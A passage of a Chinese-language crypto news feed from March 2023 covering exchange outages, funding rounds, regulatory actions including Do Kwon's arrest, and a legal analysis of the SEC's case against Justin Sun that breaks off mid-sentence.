    CoinDesk：编辑收到涉及亚马逊 NFT 计划的官方电子邮件 据 CoinDesk 报道，其全球政策和监管总编辑 Nikhilesh De 收到了亚马逊官方账户的电子邮件，似乎确认了电子商务平台上存在数字代币和画廊。该电子邮件提供了对亚马逊 Web3 扩展计划的新见解，并暗示了这些新工具可能在平台上的位置，其中 NFT 被存入亚马逊官方网站上托管的画廊，但电子邮件中提供的链接似乎尚未生效。该电子邮件还提到了转售机会，并指出 NFT「在解锁之前」没有资格转售。该电子邮件还表示，在列出 NFT 之前，De 需要「注册为经销商」，但提供给转售页面的链接似乎也已损坏。 内容来源  ( 29 min )
    PROOF 推出 Web3 创作者加速计划「Outliers」
    PROOF 推出 Web3 创作者加速计划「Outliers」 NFT 项目 Moonbirds 母公司 PROOF 宣布推出 Web3 创作者加速计划「Outliers」，旨在支持尝试突破技术障碍并通过其艺术作品进行创新的创作者。 据悉，首批入围 2023 春季队列的创作者共 15 名，包括 Terrell Jones、Alien Queen、Patrick Amadon 等，他们将花费 6 周时间在 Web3 设计和构建项目。 内容来源  ( 2 min )
    已关停 5 年的 BTC-e 交易平台曾于去年 11 月向 2 个地址发送 3,299 枚 BTC
    已关停 5 年的 BTC-e 交易平台曾于去年 11 月向 2 个地址发送 3,299 枚 BTC 据 CoinDesk 报道，链上数据显示，过去的两周内，来自已关停的 BTC-e 加密货币交易所的 BTC 资产一直在链上移动。某匿名钱包于 2022 年 11 月从已知的 BTC-e 钱包收到了 3,299 个 BTC，这是 BTC-e 钱包自 2017 年以来发送的第一笔交易。此后该地址向两个身份不明的收款人发送了 10,000 枚比特币（约合 1.65 亿美元）。 今年 3 月 14 日，其中一个接收钱包再次开始转移资金，经区块链分析公司 Crystal Blockchain 向俄语加密网站 Forklog 证实，这 3,299 BTC 中的一小部分已被发送到交易所 KuCoin 和 MEXC，以及一个名为 BTC2pm 的 OTC 平台。 内容来源  ( 30 min )
    中间件平台 Particle Network 完成 700 万美元融资
    中间件平台 Particle Network 完成 700 万美元融资 中间件平台 Particle Network 宣布完成 700 万美元融资，ABCDE 领投，Animoca Brands、Longhash Ventures、ArkStream Capital、GSR Ventures、HashKey 和 OP Crypto 等机构参投，所筹资金将用于进一步改善其安全产品并扩大团队。 Particle Network 于去年初成立，其核心产品是登录和钱包中间件解决方案，可帮助开发人员将用户友好的 Web3 身份验证解决方案集成到他们的去中心化应用程序中。Particle Network 的工具是多链的，适用于所有 EVM 兼容链以及 Solana 和 Tron，且计划本月在 Near 上推出，下个月在 Aptos 上推出。 内容来源 观点： Pengyu Wang（Particle Network 创始人）：这就是我们帮助开发者和项目降低最终用户，尤其是非加密用户门槛的方式。我们没有牺牲用户的自主权。我们使用 MPC 技术，没有任何作恶的空间，因此确保最终用户仍然可以拥有对资产的完全控制权。【原文为英文】 内容来源  ( 207 min )
    zkSync Era 主网 Alpha 正式发布，并向用户开放
    zkSync Era 主网 Alpha 正式发布，并向用户开放 据官方消息，zkSync Era 主网 Alpha 版本正式发布，并向所有用户开放。用户可以使用 zkSync Era 进行资产跨链并体验基于 zkSync Era 构建的 dapp。 内容来源 观点： ChainFeeds：zkSync Era 将提供与其他 zkEVM 不同级别的数据可用性。具体来说，它将发布状态差异而不是交易输入。这意味着它将告诉以太坊交易的最终结果，例如改变某些钱包的余额，而不是提供所有交易信息。这样做的好处包括数据压缩、更频繁的预言机更新能力、更便宜的隐私、以及与提供链下存储的扩展系统更好地整合。【原文为英文】 内容来源 ChainFeeds：ZkSync Era 发布最初不会有代币，因为该网络目前在很大程度上仍然是中心化的。由于处于 alpha 阶段，Matter Labs 可以任意升级网络代码。此外，该公司仍然控制着网络运行的两个核心组件：sequencer 和 prover。但 Matter Labs CEO Gluchowski 表示，如果想要实现 sequencer 去中心化，就需要代币。据他预计，sequencer 将在一年左右的时间内实现去中心化。【原文为英文】 内容来源  ( 2 min )

  • Open

    美国FASB寻求制定加密会计标准，要求公司报告加密资产价格变化
    PANews 3月25日消息，据CoinDesk报道，根据美国财务会计准则委员会(FASB)本周一项提议，美国会计准则可能会进行全面修订，将建立一种公允价值方法，要求将某些数字资产按照它们在市场上的价格进行报告。FASB一直致力于为比特币和以太坊制定标准。在会计准则中加入加密货币的建议将使收益和损失成为公司季度收入报告的一部分，公司每次提交文件时必须反映出加密货币的价值波动。拟议的改革将在6月6日之前公开征求意见。此外，新提议还要求进一步披露主要加密资产持有情况。现有的方法将加密货币视为不确定寿命的无形资产，只关注价值下降的资产。它“没有反映这些资产的潜在经济效益，也没有提供对决策有用的信息。”FASB关于加密货币的公允价值建议不包括公司自己发行的代币，也不包括NFT，因为这些代币的市场价值本质上难以衡量。  ( 4 min )
    Coinbase CEO 将于4月18日在英国金融科技周上发表演讲
    PANews 3月24日消息，Coinbase发推表示，其领导团队将于几周内访问英国，并与政策制定者、监管机构以及媒体会面。会面主题或将涉及欧盟综合加密监管框架 MiCA。其首席执行官 Brian Armstrong 将于 4 月 18 日在英国金融科技周上发表演讲。 Coinbase 表示，过去一年英国一直是其增长最快的市场之一，同时欧盟和英国正在为全球监管树立典范，该地区正在意识到加密货币提供的潜力和社会承诺。Coinbase 作为一家美国公司，很遗憾看到美国正在错失机会。  ( 4 min )
    币安已恢复取款功能
    PANews 3月24日消息，币安发推称已恢复取款功能。  ( 4 min )
    知情人士：Sam Altman没有持有OpenAI的任何股权
    PANews 3月24日消息，据Semafor援引知情人士报道，OpenAI 联合创始人兼首席执行官 Sam Altman 在 2019 年增加了营利性 OpenAI LP 实体时并未持有该公司的股权。按照硅谷创始人的标准，Altman 的决定是一个不同寻常的决定。Altman 认为公司需要成为一家企业才能继续其业务，但他告诉人们该项目并非旨在赚钱。避开任何所有权权益将有助于他与最初的使命保持一致。  ( 4 min )
    法新社：Do Kwon在黑山被控伪造罪，将在黑山法院进行引渡听证会
    PANews 3月24日消息，据法新社（AFP）报道，Terraform Labs 创始人 Do Kwon 在黑山被控伪造罪，将于周五晚些时候出庭接受引渡程序。在稳定币 terraUSD 崩溃后，这位韩国国民一直在逃亡，该稳定币 terraUSD 去年在加密市场引发冲击波。 法新社援引黑山警方的话说，“已对两人提起刑事诉讼，指控他们犯有伪造文件的刑事罪”,一名法院官员表示，Do Kwon 将于周五晚些时候在Podgorica法庭出庭，但尚不清楚引渡请求来自哪个国家。  ( 4 min )
    PA日报 | OpenAI为ChatGPT添加插件支持；比特币难度上调7.56%至46.84T
    今日要闻提示： 1.美国联邦检察官对Do Kwon提起刑事欺诈指控 2.美国SEC发布投资者警示：谨慎对待加密资产证券 3.OpenAI正为ChatGPT添加插件支持，允许联网、运行计算或使用第三方服务 4.币安现货交易出现故障，目前已解决 5.Mysten Labs将以9600万美元回购FTX的股权投资和代币认购权证 6.Tether CTO：公司有约16亿美元的超额储备来支持USDT稳定币 7.生成式AI初创公司Character.AI以10亿美元估值完成1.5亿美元融资，a16z领投 8.比特币难度上调7.56%至46.84T，再创历史新高 监管消息 美国联邦检察官对Do Kwon提起刑事欺诈指控 据CoinDesk报道，Terraform Labs创始人Do Kwon在黑山被警方逮捕数小时后，纽约联邦检察官指控他犯有欺诈罪。根据起诉书，Kwon被控共谋欺诈、商品欺诈、证券欺诈、电信欺诈和共谋操纵市场。今年2月，美国证券交易委员会（SEC）已对Terraform和Do Kwon提起民事指控，指控他们欺诈投资者以及销售未注册证券和证券掉期。 此外据华尔街日报报道，曼哈顿联邦检察官办公室发言人说，司法部将寻求将Do Kwon引渡到美国。 据此前消息，黑山内政部长Filip Adzic宣布，Do Kwon于周四早些时候使用伪造证件在黑山波德戈里察机场被警方逮捕。韩国国家警察厅随后证实了他的身份。今日晚些时候消息，韩国检方将寻求引渡Do Kwon。Do Kwon在塞尔维亚成立加密公司，检方正调查该公司是否用于洗钱。Do Kwon曾于去年7和8月向韩国某律所汇款450万美元。 美国SEC发布投资者警示：谨慎对待加密资产证券 美国SEC今日发布投资者警示称，谨慎对待加密资产证券。根据联邦证券法，公司不得发行或出售证券，除非证券发行已在 SEC注册或可获得注册豁免。同样，法律要求证券经纪自营商、投资顾问、另类交易系统 (ATS)和交易所等各方在 SEC、州监管机构和/或自律组织 (SRO)（例如FINRA ）注册。此外，涉及借贷或质押的实体和平台加密资产可能受联邦证券法的约束。证券发行登记要求发行人向公众披露有关公司、发行和证券的重要信息。加密资产证券的未注册发行可能无法提供投资者做出明智决策所需的关键信息。 NFT Doodles 2可穿戴设备NFT“Genesis Box”将于3月31日开图 据官方推特，NFT项目Doodles宣布Doodles 2可穿戴设备NFT“Genesis Box”将于3月31日开图。 Doodles此前表示，所有Genesis Box都将包含稀有物品，可能包含独家物品、Beta通行证等。 元宇宙 OpenAI正为ChatGPT添加插件支持，允许联网、运行计算或使用第三方服务 据官方博客，OpenAI宣布正在为ChatGPT添加对插件支持，插件是专门为以安全为核心原则的语言模型设计的工具，可帮助ChatGPT联网访问最新信息、运行计算或使用第三方服务。检索插件允许ChatGPT搜索内容矢量数据库，并将最佳结果添加到ChatGPT会话中。这意味着它没有任何外部影响，主要风险是数据授权和隐私。 OpenAI已开放第一批ChatGPT插件名单，这批插件由Expedia、FiscalNote、Instacart、KAYAK、Klarna、Milo、OpenTable、Shopify、Slack、Speak、Wolfram和Zapier创建。OpenAI表示，将开始把插件Alpha访问权限扩展到候补名单中的用户和开发人员。 项目动态 币安现货交易出现故障，目前已解决 币安19:38发推称：“了解到一个影响币安现货交易的问题。目前所有现货交易暂停，我们正在努力尽快解决这个问题。”币安创始人CZ发推称：“初步分析表明匹配引擎在追踪止损订单上遇到了一个错误（一个奇怪的错误）。 21:38，币安发布公告称将于今日22点恢复所有交易活动。 MakerDAO已投票通过将USDC作为DAI主要储备资产的提案 据官方网站，MakerDAO社区已投票通过“保留USDC作为稳定币DAI的主要储备资产”的提案。该提案获得了79%的投票支持，其余人则更倾向于将储备资产多样化。本月早些时候，Circle的主要银行合作伙伴硅谷银行倒闭后，包括DAI和USDC在内的多个稳定币暂时与美元脱钩。 Mysten Labs将以9600万美元回购FTX的股权投资和代币认购权证 据CoinDesk报道，根据法庭文件，Mysten Labs周三与FTX债务人达成协议，将以9630万美元的现金回购FTX对Mysten Labs的股权投资和SUI代币权证。这意味着FTX债权人能够回收更多资产。在最终与Mysten达成交易之前，FTX债务人保留了投资银行Perella Weinberg Partners (PWP)，以征求其他潜在买家的兴趣。去年8月，FTX Ventures领投了Mysten Labs的20亿美元B轮融资，几个月后FTX申请破产。FTX在本轮融资中投资1.01亿美元，获得了Mysten Labs约57万股优先股，并获得可购买约8.9亿枚SUI代币的权证。FTX为股权投资支付了约1.01亿美元，为代币认购权证额外支付了100万美元。目前FTX债务人可以继续“向其它第三方寻求更高的报价”，直到法院最终确定出售日期。 CNBC披露币安员工及志愿者引导用户规避KYC限制，币安回应会对违规人员采取行动 据CNBC报道，该媒体从币安控制和运营的Discord服务器和Telegram群组看到的数百条消息，币安员工或币安培训的志愿者（称为“天使”）的账户在这些群组中分享了可用于规避币安的KYC、注册和验证系统的技术。 员工和志愿者分享的一些技术涉及伪造银行文件或提供虚假地址。其他则涉及对币安系统的简单操作。员工、志愿者和客户还分享了视频指南和文件，展示如何伪造居住地以获得币安的借记卡，这将有效地将他们的币安加密货币变成传统的支票账户。与客户分享的技术也让人质疑币安反洗钱工作的有效性。 币安发言人对此表示：“我们已经对可能违反我们内部政策的员工采取了行动，包括错误地征求或提出不允许或不符合我们标准的建议。我们有严格的政策，要求所有用户通过向我们提供居住国和其他个人身份信息来通过KYC。币安员工被明确禁止建议或支持用户规避当地法律和监管政策，如果发现违反这些政策，将立即被解雇或接受审计。” Tether CTO：公司有约16亿美元的超额储备来支持USDT稳定币 据CNBC报道，稳定币发行商Tether首席技术官Paolo Ardoino表示，公司估计本季度超​​额储备将增加7亿美元，这将使Tether的超额储备达到16.6亿美元，这将是Tether超额储备首次突破10亿美元大关。所以这笔钱留在主要公司Tether中，以便进一步将稳定币资本化。 CoinMarketCap数据显示，USDT市值目前为785.4亿美元，较3月1日的709.8亿美元增长10%。 外媒：Zipmex的救助投资者未能付款，员工被告知或将清算 据加密媒体The Block的推文，加密交易所Zipmex的救助投资者未能付款，公司警告员工Zipmex或将清算。 去年7月，Zipmex在加密借贷公司Babel Finance以“异常流动性压力”为由停止提款后，在新加坡申请债务债权人保护。去年11月消息，知情人士称Zipmex交易所或将签署超1亿美元的救助计划，泰国亿万富翁Prayudh Mahagitsiri的儿子Chalermchai Mahagitsiri创立的风险投资公司 V Ventures将主导此次救助计划，并将换取Zipmex 90%的股份。 Infura已向所有用户开放其NFT API和SDK 据官方推特，ConsenSys旗下区块链开发平台Infura宣布，其NFT API和SDK已开放给所有用户。Infura NFT API有14个不同的端点，使开发人员能够访问所有必要的元数据，还附带三个预审计的ERC-721和ERC-1155模板，涵盖了所有NFT用例的85%。另外，NFT API还包括来自八个区块链网络的读写功能，使用四种语言，并具有集成的IPFS访问权限。这包括提前访问ConsenSys推出的zkEVM，该新zkEVM计划于4月向公众开放。 Avalanche将进行Cortina升级，将迁移X-Chain以运行Snowman++共识 据官方博客，Avalanche宣布将于3月27日在Fuji测试网上发布 Avalanche Cortina升级的预发布代码，Fuji测试网Cortina升级将于北京时间3月30日23:00激活。在Fuji测试网上的Cortina升级成功之前，将公布Avalanche主网激活时间，并发布官方Cortina AvalancheGo版本 (v1.10.0)。 最新版本的AvalancheGo将迁移X-Chain以运行Snowman++共识，这意味着整个网络已经迁移到一个单一的共识引擎，这减少了可信计算基础的规模并增加了现有研发工作的杠杆作用，这解除了Avalanche Warp Messaging (AWM)在X-Chain上的集成，并使交易所更容易支持X-Chain，其中将包含子网上使用的许多质押代币。Cortina升级还引入了批处理授权奖励并将C-Chain gas上限提高至1500 gas。 加密交易所Uphold将结束对美国客户的质押服务，直到监管更加明确 据Cryptoslate报道，加密交易所Uphold已向客户发送电子邮件，表示将于2023年4月27日结束对美国客户的质押服务。Uphold证实，美国证券交易委员会尚未与其联系，不过“直到法律和监管更加明确为止，将终止其在美国的质押服务。”从3月22日起，用户资金将由Uphold取消质押，并“从现在到2023年4月27日之间可以使用”。资金可用的时间将取决于单个区块链的“解除限制期”。 MetaMask已与EIP-4361兼容可支持以太坊登录，并推出‘域名绑定’功能 Web3钱包Metamask在推特上宣布：“MetaMask现在与EIP-4361兼容，也就是使用以太坊登录。我们的实施还提供了‘域名绑定’功能，可以检测来自恶意URL的签名/批准。” 美国法院已将Binance.US收购Voyager交易的行政执行延至3月28日 Voyager无担保债权人委员会（Voyager UCC）在推特上透露，美国政府此前已提出动议，寻求永久“中止”Voyager的第11章计划生效，而且表示无论Voyager是否推进Binance.US的收购交易都将继续上诉并寻求“中止”该交易。 在3月24日最新听证会之后，美国政府要求地方法院将批准“Binance.US收购交易”的行政执行延长至3月29日，但遭到Voyager和无担保债权人委员会拒绝，然而地方法院在Voyager和无担保债权人委员会反对情况下决定延至3月28日，这意味着给美国政府提供了额外上诉时间，Voyager和UCC也因此无法推进和Binance.US的交易计划并向债权人进行资金分配。 融资消息 生成式AI初创公司Character.AI以10亿美元估值完成1.5亿美元融资，a16z领投 据CNBC报道，生成式AI初创公司Character.AI宣布以10亿美元估值完成1.5亿美元融资，a16z领投，GitHub前CEO Nat Friedman、Elad Gil、A Capital和SV Angel参投。新资金将使其能够扩展计算能力，“从而产生具有高级推理和更高准确性的更复杂模型”。 此外，有消息称Character.AI可能会探索加密（或更广泛的Web3）和社交音频市场，因为a16z一直是这两个领域的重要参与者。 重要数据 比特币难度上调7.56%至46.84T，再创历史新高 据欧科云链OKLink多链浏览器数据显示，比特币在区块高度782208处迎来了挖矿难度调整，挖矿难度略微上调7.56%至46.84T，再创历史新高。目前全网平均算力为345.76 EH/s。 数据：75%的ARB空投已被领取，65%的ARB空投在领取后已出售 据推特用户余烬监测，截至目前，75%的ARB空投已被领取，65%的ARB空投在领取后已出售。 此外。余烬分享了链上买入ARB数量的前几名大户及他们的买入成本：1.0xb0fc开头地址使用373万枚USDC买入287万枚ARB，均价1.3美元；2.0x139开头地址使用355万枚USDC买入261万枚ARB，均价1.36美元；3.0xf53f开头地址使用195万枚USDC买入153万枚ARB，均价1.27美元；4.0x06e2开头地址使用980枚ETH（约合171万美元）买入148858枚ARB，均价1.15美元；5.0xe547开头地址使用164万枚USDC买入140万枚ARB，均价1.16美元；6.0x6ee1开头地址通过Uniswap V3单边池使用939枚ETH（约合164万美元）被动买入138.9万枚ARB，均价1.18美元。  ( 5 min )
    币安将于今日22点恢复所有交易活动
    PANews 3月24日消息，币安发布公告称，已完成临时系统维护，将于2023 年 3 月 24 日 22:00（北京时间）恢复所有交易活动。从现在开始，用户将能够取消订单、处理存款、进行 P2P 交易以及执行借贷、赎回、资产转移和所有其他与账户相关的功能。现货交易开始后不久将恢复提款。追踪止损单将暂停，直至另行通知。现有的追踪订单已自动过期。  ( 4 min )
    CZ：预计60分钟左右恢复交易
    PANews 3月24日消息，币安创始人CZ发推称：“预计 60 分钟预计到达时间。我们的团队现在正在进行交易前测试。我们的 SOP（标准操作程序）大致如下：确切时间的公告（很快）；启用存款（现在完成）；启用内部传输（现在完成）；30 分钟取消模式（尚未） 恢复交易；启用提款，通常在交易后 1 小时。在每个步骤之前和之后，后台都会发生许多任务和实时交叉检查。”  ( 4 min )
    zkSync Era主网已正式上线
    PANews 3月24日消息，以太坊扩容解决方案 zkSync 宣布启动 Alpha 主网，主网跨链桥已正式上线。经实测，官方网站（portal.zksync.io/bridge）已可以进行交互。  ( 4 min )
    纳斯达克计划在第二季度末推出加密货币托管服务
    PANews 3月24日消息，据彭博社报道，纳斯达克计划在第二季度末推出加密货币托管服务。纳斯达克数字资产高级副总裁兼负责人 Ira Auerbach 表示，纳斯达克正在推进所有必要的技术基础设施和监管审批程序。保管比特币和以太币将是为该集团数字资产部门构建广泛服务套件的第一步，最终包括为金融机构执行服务。纳斯达克将加入 BNY Mellon 和 Fidelity 等提供加密货币保管的大型金融公司。其他人则专注于对债券等传统资产进行代币化，希望加密货币的基础技术能够提高交易和处理资产的效率。 去年9月报道，纳斯达克正准备推出机构加密托管服务。  ( 4 min )
    知情人士：Animoca Brands的元宇宙基金募资目标下调20%至8亿美元
    PANews 3月24日消息，据路透社援引知情人士报道，Animoca Brands已将其推出的元宇宙基金Animoca Capital募资目标下调20%至8亿美元。Animoca Brands联合创始人兼首席执行官 Yat Siu 于2022年11月宣布推出该基金，初始募资目标为10-20亿美元，后于2023年1月将该目标降至10亿美元。 另外两名知情人士表示，Animoca Brands去年以59亿美元投前估值完成7532万美元融资，目前其在二级市场的估值已降至20亿美元以下。  ( 4 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.24）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    视频｜SEC炮火猛烈，后续是涨是跌？超10亿以太坊永远丢失，白宫抨击加密货币毫无价值！
    00:00 精彩预告 00:36 权志龙发行NFT 01:17 Space ID火热上线 01:57 Avalanche C链短暂停止出块 02:32 瑞银30亿瑞士法郎收购瑞信 03:43 Sui将在第二季度推出主网 04:11 超10亿美元ETH永远丢失 04:45 Arbitrum空投ARB代币 05:26 美联储加息25个基点 06:38 美国SEC监管砲火猛烈 08:32 好文章推荐 好文推荐：  彭博社：如果图表指标正确，比特币在今年将继续上涨70% https://www.panewslab.com/zh/articledetails/nary724x.html  ( 4 min )
    CZ：预计需要30-120分钟左右恢复，资金是安全的
    PANews 3月24日消息，币安创始人CZ发推称：“初步分析表明匹配引擎在追踪止损订单上遇到了一个错误（一个奇怪的错误）。正在恢复。估计 30-120 分钟左右。等待更精确的预计到达时间。作为 SOP（标准操作程序）暂停存款和取款。”资金是安全的。 十几分钟前，币安现货交易出现问题。目前所有现货交易暂停，币安称正在努力尽快解决这个问题。  ( 4 min )
    币安：现货交易出现问题已暂停，正努力解决
    PANews 3月24日消息，币安发推称：“了解到一个影响币安现货交易的问题。目前所有现货交易暂停，我们正在努力尽快解决这个问题。”  ( 4 min )
    美证监会 SEC 起诉孙宇晨 Justin Sun 的法律逻辑
    SEC 新闻稿 2023 年 3 月 22 日，美国证券交易委员会（SEC）发布了新闻稿，宣布对孙宇晨（Justin Sun）及其三家全资公司 Tron Foundation Limited、BitTorrent Foundation Ltd. 和 Rainberry Inc.（Sun 及其关联方）提出控诉，指控 Sun 及其关联方发行和出售未经注册的证券 Tronix (TRX) 和 BitTorrent (BTT)；指控 Sun 及其关联方通过大量的洗盘交易（Wash Trading）欺诈性地操纵 TRX 的二级市场，这涉及大量的实时购买和出售交易，使 TRX 看起来交易活跃，而实际受益所有权没有实际变化；指控 Sun 策划了一项向名人支付费用以兜售 TRX 和 BTT 的计划，并向公众隐瞒名人获取报酬的信息，造成诱导假象。 SEC 向美国纽约南区地方法院提起的诉书称，Sun 及其关联方提供多个未注册为证券的线上“赏金项目”，并发行和出售 TRX 和 BTT，这些项目直接指引感兴趣的参与方在社交媒体上宣传推广 TRX 和 BTT，加入并招募其他人加入 Tron 附属的 Telegram 和 Discord 频道，并创建 BitTorrent 账户以换取 TRX 和 BTT 分配。起诉书进一步指控 Sun、BitTorrent Foundation 和 Rainberry 提供未注册证券的“每月空投”，向包括美国在内的投资者发行和出售 BTT，使这些投资者在 Tron 钱包或参与的虚拟资产交易平台上购买和持有 TRX。根据起诉书，这些未注册证券的发行和出售均违反了《证券法》第 5 条。 SEC 还指控 Sun 策划了一项人为夸大二级市场 TRX 交易量的计划，违反了美国《证券法》的反欺诈和市场操纵规定。至少从 2018 年 4 月到 2019 年 2 月，Sun 指使他控制的团队在两个账户之间进行了超过 60 万次 TRX 虚假交易，平均每天有 450 万到 740 万次。Sun 还提供了大量的 TRX 供应，将 TRX 出售到二级市场，从非法、未注册的代币发行和出售中获得 3100 万美元的收益。 SEC 主席 Gary Gensler 表示：“这个案例再次表明，在没有适当披露的情况下发行和出售虚拟资产证券时，投资者将面临非常高的风险。”“正如所指控的那样，Sun 及其关联方不仅针对美国投资者进行未注册证券的发行和销售，还以牺牲投资者的利益为代价获得数百万的非法收益，而且他们还在未注册的虚拟资产交易平台上虚假交易，以制造活跃交易的误导性表象。Sun 通过策划一场名人促销活动进一步诱使投资者购买 TRX 和 BTT，在促销活动中，他和名人们隐瞒了推广付费的事实。” “虽然我们对有争议的技术持中立态度，但在投资者保护方面，我们绝不是中立的，”SEC 执法部主任 Gurbir S. Grewal 说。“正如投诉中所称，Sun 及其关联方使用一个古老的剧本来误导和伤害投资者，首先在不遵守注册和披露要求的情况下发行证券，然后操纵这些证券的市场。与此同时，Sun 向在社交媒体上拥有数百万粉丝的名人支付费用，以宣传未注册证券的产品，同时特别指示他们不要透露他们的报酬。这正是美国《证券法》旨在防止的行为。” 一、先总结 这个事件本质上是对 Sun 过去一系列“割韭菜”行为的总结以及清算问责（当然现在收购了火币之后也在割，如 PI），并以保护投资者的名义对其提起诉讼。至于由谁来管？谁是 Crypto World 的警察？我 SEC 当仁不让！ 这里其实存在一个 Crypto 监管的真空地带。如果说让 CFTC 来管（意思就是定义 TRX 和 BTT 为“商品”），虽然 CFTC 有能力监管现货虚拟资产市场上的欺诈和市场操纵等行为，但是 CFTC 没有能力对不涉及保证金、杠杆或融资的现货市场的虚拟资产交易行为进行监管。如果说让 SEC 来管，那么 SEC 只有在认定 TRX 和 BTT 为“证券”的前提下才能行使其管辖权，包括涉及证券的欺诈、操纵市场等等。而且美国法律在保护投资者方面对 SEC 要求的更多。   二、再分析：SEC 认定“证券”的逻辑与名人代言的风险 在 SEC 出手来管的情况下，如何认定 TRX 和 BTT 是“证券”是第一步。在认定为“证券”之后，自然而然的有对于“证券”的市场操作、宣传推广严格要求，目的是保护投资者利益。 2.1 判断是否属于“证券” 就虚拟资产而言，至关重要的是：厘清虚拟资产的发行以及销售是否属于“投资合同（Investment Contract）”，从而被归入“证券（Securities）”的定义，并被纳入 SEC 的监管范围。提到“证券”，就必然绕不开“豪威测试（Howey Test）”。豪威测试是美国最高法院在 1946 年案件 SEC v. W.J. Howey Co. 判决中使用的一种判断特定交易是否构成“投资协议”的标准。美国 1933 年《证券法》第 2 条定义了什么是“证券”，其定义非常宽泛，包括股票、债券和其他形式的利润分享协议，它还包括“投资协议”。所以，如果特定交易满足豪威测试的标准，那么该交易将被视为美国法律体系下的“证券”，需要遵守美国 1933 年《证券法》和 1934 年《证券交易法》的相关规定。 判断虚拟货币的发行和销售是否满足“豪威测试”的标准，SEC 在其 于 2019 年 4 月 3 日发布的“虚拟资产是否属于投资合同的分析框架（Framework for“Investment Contract”Analysis of Digital Assets）”中也给出了同样的三个条件，更加适合 Crypto 项目： A. 金钱的投资（The Investment of Money）。除了我们能够理解“金钱（通常指货币）”的常规定义之外，SEC 特别指明“金钱（Money）”的其他定义还包括但不限于：（i）投资者通过完成特定任务（Bounty Program）的方式而获得的虚拟货币奖励，因为发行人旨在通过这种方式促进其经济利益并培育其虚拟货币交易的市场；（ii）投资者通过空投（Air Drop）的方式而获得虚拟货币的奖励，因为发行人旨在通过这种方式促进其虚拟货币的流通。这里可以看出 SEC 扩大解释了“金钱（Money）”的定义来满足虚拟货币发行和流通的不同场景。 B. 共同的事业（Common Enterprise）。通常来讲，发行方都会发布白皮书阐述其筹资的目的，比如建设一条 Layer One 的公链，这就是投资者与发行方共同的事业。但是对于比特币这种没有特定明确目的（共同事业）的项目，SEC 则不将其归类为“证券”。 C. 该投资有合理的期待利益，期待利益来自他人的努力（Reasonable Expectation of Profits Derived from Efforts of Others）。这一直是最有争议的点，SEC 在其“分析框架”中给出以下解释帮助分析： （i）依赖他人的努力（Reliance on the Efforts of Others）。这里的“他人”指为项目的成功提供了重要管理、经营作用的项目方、推广方，并且该努力将直接影响共同事业的成败，而投资者仅需付出金钱的投资，并不实际参与项目的运营和管理。 （ii）合理的期待利益（Reasonable Expectation of Profits）。SEC 在分析框架指出，如果存在以下行为，很可能符合“合理的期待利益”的定义：虚拟货币的资本增值，或者持有虚拟货币可以享受类似于股息、利润分配，或者持有的虚拟货币大大超出了投资者合理使用范围的，或者项目方能够通过持有虚拟货币获利的，或者项目方能够通过直接或间接的市场推广使虚拟货币增值的行为。 （iii）其他考虑因素（Other Relevant Considerations）。联邦法院通常会考虑虚拟货币的经济模型（Economic Reality）或项目的商业模式，如果虚拟货币是有很强消费属性的，那么就有可能不会构成“投资合同”。举个不恰当的例子，投资人期望在一个成熟的电商平台使用其虚拟货币来购买一辆特斯拉以作代步（虚拟货币的消费属性），区别于投资者期望通过项目方/AP 的积极建设，使早期公链项目能够不断完善并投入使用，从而使自己持有的虚拟货币增值（虚拟货币的投资属性）。 SEC 和联邦法院都强调豪威测试是灵活的，它能够适应那些以利润承诺为前提，试图利用他人资金而设计的各种商业模式。换句话说，SEC 和法院很可能会对事实进行宽泛地解释，以确保交易可能满足豪威测试以及分析框架的每个方面的要求。就像法院在 SEC v. W.J. Howey Co. 案件中讲的：“对于事实基础来说，形式是可以忽略的，重点是关注项目的经济模型及商业模式。” 2.2 名人代言推广的披露风险 我们先来看一个案例。2022 年 10 月 3 日，SEC 宣布对金・卡戴珊 (Kim Kardashian) 提出指控，称其在社交媒体上推广 EthereumMax 平台并兜售虚拟资产证券（Crypto Asset Security），但未披露推广所收到的 25 万美元报酬。此后金・卡戴珊同意支付 126 万美元与 SEC 达成和解。这并不是 SEC 第一次针对名人代言提起诉讼，但这绝对是最近最受关注的一次。 根据 Gulovsen Law Office 发表的文章“How NOT to Promote Your NFT or Metaverse Project: Part 3”，SEC 认定 Kim 违反了美国证券法第 17 (b) 条：“发布、宣传或传播任何类似对价证券，但未完全披露此类对价证券的收据（无论是过去的还是未来的）及其金额。” SEC 的这种“Regulation by Enforcement”的方式，将使任何从事虚拟资产推广都有可能是非法的：“证券法虽然表述的是发布、宣传或传播“证券”的行为，但是“证券”的定义只能由 SEC 决定，而非虚拟资产项目方，亦非其法律意见书。”所以一旦 SEC 认定 EthereumMax 平台要求 Kim 推广的虚拟资产是“证券”，并且这些“证券”正在或将被出售给美国人，那么任何推广人都要遵守与 Kim 一样的披露义务。 三、看事实：SEC 对 Sun 及其关联方的指控 3.1 Sun 和 Tron 基金以“投资合同”的形式推出 TRX，并向公众发行和出售未经注册的 TRX 证券 SEC 指出 2017 年，Sun 以及其 Torn 基金会于 2017 年发布 Tron 白皮书，旨在共同建立 Tron 生态，并向公众（包括美国公众）发行和出售以“TRX”命名的生态代币。 SEC 认为在首次代币发行前（ICO），Sun 及 Tron 基金会向潜在投资者推广其 TRX 的行为，便已经构成了“投资合同”的定义。在 ICO 时，白皮书中代币的分配比例如下：公众 40%，Tron 基金会 35%，15% 私募投资者，10% Sun 的公司。在这种代币分配情况下，Sun 及 Tron 基金会控制着绝大部分的代币，约 45%。 同时，Torn 白皮书中也明确表示了投资 TRX 会有的潜在收益，并明确指出由 Sun 带领的 Torn 的管理团队将引领 TRX 取得成功。 在 ICO 之后，Sun 以及其 Torn 基金会持续、积极地以“投资合同”的形式推动 TRX，以及支持 TRX 在二级市场交易。于 2018 年 3 月至 2021 年 7 月间，Sun 以及其 Torn 基金会通过以下方式：在推特上进行了超过 200 次的 TRX 的推广，在数字媒体平台 Medium 上发布文章推广，针对上架交易所进行推广。更致命的是，Sun 以及其 Torn 基金会在注册在美国的交易所，针对美国公众进行推广，并通过 TRX 的销毁、通缩、锁仓、回购机制持续推动 TRX 的价值，诱导公众购买 TRX。 SEC 认定 Sun 以及其 Torn 基金会的行为构成发行和出售未经注册证券的逻辑如下： （1）所有 TRX 投资者通过金钱的投资与 Sun 和 Tron 基金会一起建设一个共同的事业。（2）考虑到 Sun 和 Tron 基金会持有 45% 的代币份额，TRX 